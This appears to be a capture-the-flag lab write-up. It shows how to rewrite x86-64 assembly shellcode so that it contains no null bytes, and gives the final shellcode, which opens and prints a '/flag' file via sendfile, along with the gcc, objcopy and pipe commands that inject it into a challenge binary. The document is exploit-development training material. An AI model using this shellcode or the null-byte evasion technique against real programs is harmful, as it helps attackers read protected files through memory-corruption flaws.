NULL-free Shellcode¶
Changes to prev code:
mov rbx, 0x00000067616c662f
->mov ebx, 0x67616c66; shl rbx, 8; mov bl, 0x2f
mov rax, 2
->xor rax, rax; mov al, 2
mov rsi, 0
->xor rsi, rsi
mov rdi, 1
->xor rdi, rdi; inc rdi
mov rdx, 0
->xor rdx, rdx
mov r10, 1000
->xor r10, r10; add r10w, 0x3e8
mov rax, 40
->xor rax, rax; mov al, 40
mov rax, 60
->xor rax, rax; mov al, 60
Final shellcode.s
:
.global _start
_start:
.intel_syntax noprefix
mov ebx, 0x67616c66
shl rbx, 8
mov bl, 0x2f
push rbx
xor rax, rax
mov al, 2
mov rdi, rsp
xor rsi, rsi
syscall
xor rdi, rdi
inc rdi
mov rsi, rax
xor rdx, rdx
xor r10, r10
add r10w, 0x3e8
xor rax, rax
mov al, 40
syscall
xor rax, rax
mov al, 60
syscall
gcc -nostdlib -static shellcode.s -o shellcode-elf
objcopy --dump-section .text=shellcode-raw shellcode-elf
cat shellcode-raw | /challenge/binary-exploitation-null-free-shellcode